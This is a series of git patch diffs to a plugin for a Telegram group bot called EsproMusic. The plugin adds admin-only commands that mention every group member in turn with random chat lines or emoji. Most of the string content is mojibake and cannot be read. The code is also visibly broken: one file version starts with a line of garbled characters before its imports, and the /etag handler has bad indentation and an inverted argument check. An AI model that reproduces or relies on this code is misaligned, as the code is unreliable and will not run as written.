" **ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð** ",
" **ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ðð¥º** ",
- " **ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]ð¥°** ",
+ " **ðð² ðð®ðð ðð°ð§ðð«{ @THE_VIP_BOY}ð¥°** ",
" **ððð¡ð ðð¡ðšð²ð ððš ðððð§ð** ",
" **ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥°** ",
]
-@app.on_message(filters.command(["tagall", "spam", "tagmember", "utag", "stag", "hftag", "bstag", "eftag", "tag", "etag", "utag", "atag"], prefixes=["/", "@", "#"]))
+VC_TAG = [ "**ðððŽ ðð² ðð°ðŸ ðð° ðð»ðð¥²**",
+ "**ððŸðžðœ ðð² ð
ð°ðð ððð ððŒð°ð¿ðŸððð°ðœðð¬**",
+ "**ððŸðŒðŽ ð
ð² ð±ð°ð±ð ðµð°ððð**",
+ "**ðð°ð±ð ðððŒ ðð·ðž ðð·ðŸðð° ðð² ðð°ðœð°ð¥°**",
+ "**ðððŽ ðð·ð°ðŒðð ðð² ðð° ððº ðð°ðŒ ðð°ðžð€š**",
+ "**ðððœðŸ ðð² ððŸðžðœ ðð ððŸð€£**",
+ "**ðð² ðð° ðð°ðžððŽ ððº ðð°ðð**",
+ "**ðð² ðð°ð¿ðºðŸ ðð°ðŒðŽ ðð·ð°ð»ð ðð°ðžâœ**",
+ "**ðð² ðð°ðŸ ðð°ððœð° ðð°ðœ ððŸ ðð°ðŸð¶ðŽð¥º**",
+ "**ððŸððð ðð°ð±ð ðð»ð ðð² ðð° ðð°ðŸ ðð°ð¥**",
+ "**ðð² ðð°ðœð° ððº ðð·ðžð¹ ððžðºð·ð°ððž ððð**",
+ "**ðð² ððŽ ðð·ðŽð²ðº ðððºðŽ ðð°ðð°ðŸ ððŸ ððŸðœð¶ ðð»ð°ð ððŸ ðð·ð° ð?ð€**",
+ "**ðð² ððŸðžðœ ðððœðŽ ððŽ ððð° ðð°ðð° ð ðð·ðŸðð° ððŽð ðð°ð ððŸ ðð°ð**",
+ ]
+
+
+@app.on_message(filters.command(["tagall"], prefixes=["/", "@", ".", "#"]))
async def mentionall(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
@@ -156,10 +172,10 @@ async def mentionall(client, message):
):
is_admin = True
if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ . ")
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
if message.reply_to_message and message.text:
- return await message.reply("/tagall ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ")
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
elif message.text:
mode = "text_on_cmd"
msg = message.text
@@ -167,11 +183,11 @@ async def mentionall(client, message):
mode = "text_on_reply"
msg = message.reply_to_message
if not msg:
- return await message.reply("/tagall ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ...")
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
else:
- return await message.reply("/tagall ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ..")
+ return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
if chat_id in spam_chats:
- return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ðð«ðšððð¬ð¬ ...")
+ return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð² /tagalloff , /stopvctag ...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
@@ -181,11 +197,11 @@ async def mentionall(client, message):
if usr.user.is_bot:
continue
usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://openmessage?user_id={usr.user.id}) "
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
if usrnum == 1:
if mode == "text_on_cmd":
- txt = f"{usrtxt} {random.choice(TAGMES)}"
+ txt = f"{usrtxt} {random.choice(TAGMES)}\n\n|| ⥠áŽÒÒ áŽáŽÉ¢É¢ÉªÉŽÉ¢ ÊÊ Â» /stoptagall ||"
await client.send_message(chat_id, txt)
elif mode == "text_on_reply":
await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
@@ -197,10 +213,56 @@ async def mentionall(client, message):
except:
pass
-@app.on_message(filters.command(["tagoff", "tagstop"]))
+
+@app.on_message(filters.command(["vctag"], prefixes=["/", ".", "@", "#"]))
+async def mention_allvc(client, message):
+ chat_id = message.chat.id
+ if message.chat.type == ChatType.PRIVATE:
+ return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
+
+ is_admin = False
+ try:
+ participant = await client.get_chat_member(chat_id, message.from_user.id)
+ except UserNotParticipant:
+ is_admin = False
+ else:
+ if participant.status in (
+ ChatMemberStatus.ADMINISTRATOR,
+ ChatMemberStatus.OWNER
+ ):
+ is_admin = True
+ if not is_admin:
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
+ if chat_id in spam_chats:
+ return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð² /tagalloff , /stopvctag ...")
+ spam_chats.append(chat_id)
+ usrnum = 0
+ usrtxt = ""
+ async for usr in client.get_chat_members(chat_id):
+ if not chat_id in spam_chats:
+ break
+ if usr.user.is_bot:
+ continue
+ usrnum += 1
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
+
+ if usrnum == 1:
+ txt = f"{usrtxt} {random.choice(VC_TAG)}\n\n|| ⥠áŽÒÒ áŽáŽÉ¢É¢ÉªÉŽÉ¢ ÊÊ Â» /stopvctag ||"
+ await client.send_message(chat_id, txt)
+ await asyncio.sleep(4)
+ usrnum = 0
+ usrtxt = ""
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+@app.on_message(filters.command(["stoptagall", "canceltagall", "offtagall", "tagallstop", "stopvctag", "tagalloff"]))
async def cancel_spam(client, message):
if not message.chat.id in spam_chats:
- return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ..")
+ return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ððð ð ð¢ð§ð ðððð².")
is_admin = False
try:
participant = await client.get_chat_member(message.chat.id, message.from_user.id)
@@ -219,4 +281,4 @@ async def cancel_spam(client, message):
spam_chats.remove(message.chat.id)
except:
pass
- return await message.reply("âŠSTOPâŠ")
+ return await message.reply("⊠ðððšð©ð©ðð..âŠ")
From 3fb3a55bc487a7baaa42d88e41c9415b590464c8 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 6 Mar 2024 15:00:51 +0530
Subject: [PATCH 22/31] Update romman.py
---
EsproMusic/plugins/admins/romman.py | 628 +++++++++++++++++++---------
1 file changed, 421 insertions(+), 207 deletions(-)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
index 9d3215e..6835407 100644
--- a/EsproMusic/plugins/admins/romman.py
+++ b/EsproMusic/plugins/admins/romman.py
@@ -1,13 +1,75 @@
-from EsproMusic import app
-import asyncio
-import random
-from pyrogram import Client, filters
-from pyrogram.enums import ChatType, ChatMemberStatus
-from pyrogram.errors import UserNotParticipant
-from pyrogram.types import ChatPermissions
+âê¯Íâ€ê¯ÍÙÙÙÙÙÙàžºÙÙÙàžºÙÙÙâªð¥ê¯ÍâªðŒê¯Íâªðºê¯Íâªð®ê¯Íââªð®ê¯Íâªð»ê¯ÍÙÙÙÙàžºÙÙÙàžºàžºÙÙâªÙÙÙÙàžºÙ:
+import time
+import os, logging, asyncio, random
+from telethon import Button
+from telethon import TelegramClient, events
+from telethon.tl.types import ChannelParticipantAdmin
+from telethon.tl.types import ChannelParticipantCreator
+from telethon.tl.functions.channels import GetParticipantRequest
+from telethon.errors import UserNotParticipantError
+
+from config import BOT_TOKEN as bot_token, API_ID as api_id, API_HASH as api_hash
+
+logging.basicConfig(
+ level=logging.INFO,
+ format='%(name)s - [%(levelname)s] - %(message)s'
+)
+LOGGER = logging.getLogger(name)
+
+client = TelegramClient('client', api_id, api_hash).start(bot_token=bot_token)
+
spam_chats = []
+
+@client.on(events.NewMessage(pattern="^/htag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "This command can be used in groups and channels!"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(TAGMES)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+
EMOJI = [ "ðŠðŠðŠðŠðŠ",
"ð§ðžð§ð¬ð«",
"ð¥ð·ð¹ðºð",
@@ -47,238 +109,390 @@
"ð¥ªð°ð¥§ðšðš",
" ð¥¬ðð§ð§",
]
-
-TAGMES = [ " **ððð² ðððð² ððð¡ð ððšð€ð¥±** ",
- " **ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð** ",
- " **ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð** ",
- " **ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??ð¥²** ",
- " **ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º** ",
- " **ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€** ",
- " **ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š** ",
- " **ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð** ",
- " **ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??ð¥²** ",
- " **ððð¬ðð ðð®ð ððð©ð€ð..??ð** ",
- " **ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð** ",
- " **ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
** ",
- " **ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€** ",
- " **ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð** ",
- " **ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð** ",
- " **ððð© ððð¡ð ðð ððš..??ð** ",
- " **ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð** ",
- " **ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€** ",
- " **ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.?** ",
- " **ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€** ",
- " **ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð** ",
- " **ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€** ",
- " **ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º** ",
- " **ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶** ",
- " **ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€** ",
- " **ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð** ",
- " **ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð** ",
- " **ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª** ",
- " **ðð¢ðð ððš ðððð ðð¡âº** ",
- " **ððð¥ð¥ðšð** ",
- " **ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº** ",
- " **ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥²** ",
- " **ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
** ",
- " **ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
** ",
- " **ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð** ",
- " **ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð** ",
- " **ð ððšð¯ð ððšð®ððð** ",
- " **ððš ððšð® ððšð¯ð ðð..?ð** ",
- " **ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð** ",
- " **ðð€ ððšð§ð ðð®ð§ðð®..?ð¹** ",
- " **ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð»** ",
- " **ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð** ",
- " **ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð** ",
- " **ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð** ",
- " **ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð** ",
- " **ððð¡ð ðð ððš ððð©ð** ",
- " **ðð®ð§ðš ððð§** ",
- " **ððð«ð ðð€ ððððŠ ððð« ððšð ð..?** ",
- " **ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ** ",
- " **ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?â€** ",
- " **ðð²ð ðð®ð..?ð±** ",
- " **ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž** ",
- " **ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð** ",
- " **ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€** ",
- " **ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð** ",
- " **ðð²ð ðð®ðð®ð®** "
- " **ðð¢ð¢ð** ",
- " **ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð** ",
- " **ððð£ ððð¢ ððð ðð® â¹ïž** ",
- " **ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º** ",
- " **ðð²ð ððð« ððð¡ð ððšð** ",
- " **ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð** ",
- " **ððð¡ð ðð ððš ððð©..?ð€** ",
- " **ðð¡ðððð¢ð§ð ððð« ððš ðð..ð¥º** ",
- " **ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º** ",
- " **ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
** ",
- " **ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð** ",
- " **ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð** ",
- " **ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ** ",
- " **ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž** ",
- " **ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð** ",
- " **ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€** ",
- " **ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?ð¥°** ",
- " **ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º** ",
- " **ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš ð¥²** ",
- " **ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð** ",
- " **ðððš ððð«ðð² ððð«ðð ððð¢ð§ðð¥³** ",
- " **ðððŠð¥ðšðšð§** ",
- " **ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ðð¥º** ",
- " **ððð¡ð ðð ðððš:-[@TG_FRIENDSS] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
- " **ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð** ",
- " **ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º** ",
- " **ððšð¢ð§ ððð« ððšð€** ",
- " **ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð** ",
- " **ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ðð¥º** ",
- " **ðð² ðð®ðð ðð°ð§ðð«{ @THE_VIP_BOY}ð¥°** ",
- " **ððð¡ð ðð¡ðšð²ð ððš ðððð§ð** ",
- " **ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥°** ",
- ]
-
-VC_TAG = [ "**ðððŽ ðð² ðð°ðŸ ðð° ðð»ðð¥²**",
- "**ððŸðžðœ ðð² ð
ð°ðð ððð ððŒð°ð¿ðŸððð°ðœðð¬**",
- "**ððŸðŒðŽ ð
ð² ð±ð°ð±ð ðµð°ððð**",
- "**ðð°ð±ð ðððŒ ðð·ðž ðð·ðŸðð° ðð² ðð°ðœð°ð¥°**",
- "**ðððŽ ðð·ð°ðŒðð ðð² ðð° ððº ðð°ðŒ ðð°ðžð€š**",
- "**ðððœðŸ ðð² ððŸðžðœ ðð ððŸð€£**",
- "**ðð² ðð° ðð°ðžððŽ ððº ðð°ðð**",
- "**ðð² ðð°ð¿ðºðŸ ðð°ðŒðŽ ðð·ð°ð»ð ðð°ðžâœ**",
- "**ðð² ðð°ðŸ ðð°ððœð° ðð°ðœ ððŸ ðð°ðŸð¶ðŽð¥º**",
- "**ððŸððð ðð°ð±ð ðð»ð ðð² ðð° ðð°ðŸ ðð°ð¥**",
- "**ðð² ðð°ðœð° ððº ðð·ðžð¹ ððžðºð·ð°ððž ððð**",
- "**ðð² ððŽ ðð·ðŽð²ðº ðððºðŽ ðð°ðð°ðŸ ððŸ ððŸðœð¶ ðð»ð°ð ððŸ ðð·ð° ð?ð€**",
- "**ðð² ððŸðžðœ ðððœðŽ ððŽ ððð° ðð°ðð° ð ðð·ðŸðð° ððŽð ðð°ð ððŸ ðð°ð**",
- ]
-
-
-@app.on_message(filters.command(["tagall"], prefixes=["/", "@", ".", "#"]))
-async def mentionall(client, message):
- chat_id = message.chat.id
- if message.chat.type == ChatType.PRIVATE:
- return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
+
+@client.on(events.NewMessage(pattern="^/etag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "This command can be used in groups and channels!"
+ )
is_admin = False
try:
- participant = await client.get_chat_member(chat_id, message.from_user.id)
- except UserNotParticipant:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
is_admin = False
else:
- if participant.status in (
- ChatMemberStatus.ADMINISTRATOR,
- ChatMemberStatus.OWNER
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
):
is_admin = True
if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
- if message.reply_to_message and message.text:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
- elif message.text:
- mode = "text_on_cmd"
- msg = message.text
- elif message.reply_to_message:
- mode = "text_on_reply"
- msg = message.reply_to_message
- if not msg:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
+if event.pattern_match.group(1):
+ return await event.respond("/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
else:
- return await message.reply("/tagall ððšðšð ððšð«ð§ð¢ð§ð ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ / ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð ððð±ð ðð¢ðŠð ð
ðšð ððð ð ð¢ð§ð ...")
- if chat_id in spam_chats:
- return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð² /tagalloff , /stopvctag ...")
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
spam_chats.append(chat_id)
- usrnum = 0
- usrtxt = ""
- async for usr in client.get_chat_members(chat_id):
+ async for usr in client.iter_participants(chat_id):
if not chat_id in spam_chats:
break
- if usr.user.is_bot:
- continue
- usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
-
- if usrnum == 1:
- if mode == "text_on_cmd":
- txt = f"{usrtxt} {random.choice(TAGMES)}\n\n|| ⥠áŽÒÒ áŽáŽÉ¢É¢ÉªÉŽÉ¢ ÊÊ Â» /stoptagall ||"
- await client.send_message(chat_id, txt)
- elif mode == "text_on_reply":
- await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
- await asyncio.sleep(4)
- usrnum = 0
- usrtxt = ""
+ user_id = usr.id
+ mention_text = f"[ {random.choice(EMOJI)} ](tg://user?id={usr.id})"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
try:
spam_chats.remove(chat_id)
except:
pass
+
+
+
+
+TAGMES = [ " ððð² ðððð² ððð¡ð ððšð¥± ",
+ " ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð ",
+ " ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð ",
+ " ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??𥲠",
+ " ðð¡ðð« ðð ððð ððð¢ð¬ð ððð¢ð§ ðð¢ð¥º ",
+ " ððð ððð¢ ððšð¡ðšð ðð¢ð¬ð¬ ððð« ðð¡ð¢ ðð¡ð¢ ððð©ð€ðšð€ ",
+ " ðð²ð ððð¥ ðð¡ðð¥ ððð¬ð ððð¢..??ð€š ",
+ " ððð«ð¢ ðð¡ð¢ ððððð¢ð§ð ððð«ðð ððšð ð..??ð ",
+ " ððð©ð€ð ðððŠð ðð²ð ð¡ðð¢..??𥲠",
+ " ððð¬ðð ðð®ð ððð©ð€ð..??ð ",
+ " ððð«ð ððš ðð©ð§ð ðð«ðšð®ð© ðð ðð¢ðð§ðð© ðð« ððšð ",
+ " ððð©ð€ð¢ ððð«ðð§ðð« ððð©ð€ðš ðð¡ð®ð§ð ðð¡ð ððð¢ð§ ðð¥ðð¢ ðð§ð¥ð¢ð§ð ðð²ð¢ððð
ð
",
+ " ððð«ð ðð ððšð¬ðð¢ ðð«ðšð ð..??ð€ ",
+ " ððšð§ð ðð¡ðð¥ ðð²ð ðð²ððð ",
+ " ðð€ ððšð§ð ðð¥ðð² ðð«ðš ðð ðð¥ð¬ð¬ð ",
+ " ððð© ððð¡ð ðð ððš..??ð ",
+ " ððð¥ð¥ðš ðð¢ ðððŠðð¬ððð ",
+ " ððð¥ð¥ðš ðððð² ðð€ð«ð¡..?ð€ ",
+ " ððš ððšð® ðð§ðšð° ðð¡ðš ðð¬ ðð² ðð°ð§ðð«.? ",
+ " ðð¡ð¥ðš ðð®ðð¡ ðððŠð ðð¡ðð¥ðð ððð¢ð§.ð€ ",
+ " ðð®ð« ðððððš ððð¢ð¬ð ððš ðððð²ð ",
+ " ðð®ðŠð¡ðð«ð¢ ðð®ðŠðŠð² ðð²ð ððð« ððð¡ð¢ ððð¢ð€ ",
+ " ððð«ð ðð ððð ððšð¢ ðð«ðšð ðð¥ºð¥º ",
+ " ðð²ð ððð ðð¥ ðð§ð¥ð¢ð§ð ðð ððð¶ ",
+ " ððð£ ððšð¥ð¢ððð² ððð¢ ðð²ð ððð¡ðšðšð¥ ðð..??ð€ ",
+ " ðð²ð ððšðšð ððšð«ð§ð¢ð§ð ð ",
+ " ðð®ð§ðš ðð€ ðððŠ ððð¢ ðð®ðŠð¬ðð ",
+ " ððšð¢ ððšð§ð ðð¥ðð² ðð«ðš ðððª ",
+ " ðð¢ðð ððš ðððð ðð¡âº ",
+ " ððð¥ð¥ðšð ",
+ " ððð®ðð² ððšðŠð¥ððð ðð®ð??ðº ",
+ " ððšð¥ðš ðð ðð®ðð¡ ðð«ð«ð¥² ",
+ " ððšð§ðð¥ð¢ ððšð§ ððð¢...??ð
",
+ " ðð®ðŠð¡ðð«ð¢ ðð€ ðð¢ð ðð¢ð¥ðð ð¢..?ð
",
+ " ðð®ðŠðŠð² ðð ðð²ð¢ ðð²ðððð ",
+ " ðð« ðððððš ðð¡ððð¡ð¢ ððð¢ð¬ð¢ ððð¢ð ",
+ " ð ððšð¯ð ððšð®ððð ",
+ " ððš ððšð® ððšð¯ð ðð..?ð ",
+ " ððð€ð¡ð¢ ððð ððð§ð ððð¡ð¢ ððš.??ð ",
+ " ðð€ ððšð§ð ðð®ð§ðð®..?ð¹ ",
+ " ðð§ð¥ð¢ð§ð ðð ðð ðð ððšð§ð ðð®ð§ð ððð¡ð¢ ðð®ð» ",
+ " ðð§ð¬ððð ð«ððŠ ðð¡ðð¥ððð ððš..??ð ",
+ " ðð¡ððð¬ðð©ð© ðð®ðŠððð« ððšð ð ðð©ð§ð ðð®ðŠ..?ð ",
+ " ðð®ðŠð¡ð ððšð§ ðð ðð®ð¬ð¢ð ðð®ð§ð§ð ððð¬ðð§ð ððð¢..?ð ",
+ " ððð«ð ðððŠ ðð¡ððððŠ ððš ðð²ð ððð©ð€ð..?ð ",
+
+" ððð¡ð ðð ððš ððð©ð ",
+ " ðð®ð§ðš ððð§ ",
+ " ððð«ð ðð€ ððððŠ ððð« ððšð ð..? ",
+ " ðð² ðððð ððð ððð ððð«ð§ð ððð£ ðð ðððð ",
+ " ððšðŠ ððð ððð¢ð¬ð ððð¢ð§..?†",
+ " ðð²ð ðð®ð..?ð± ",
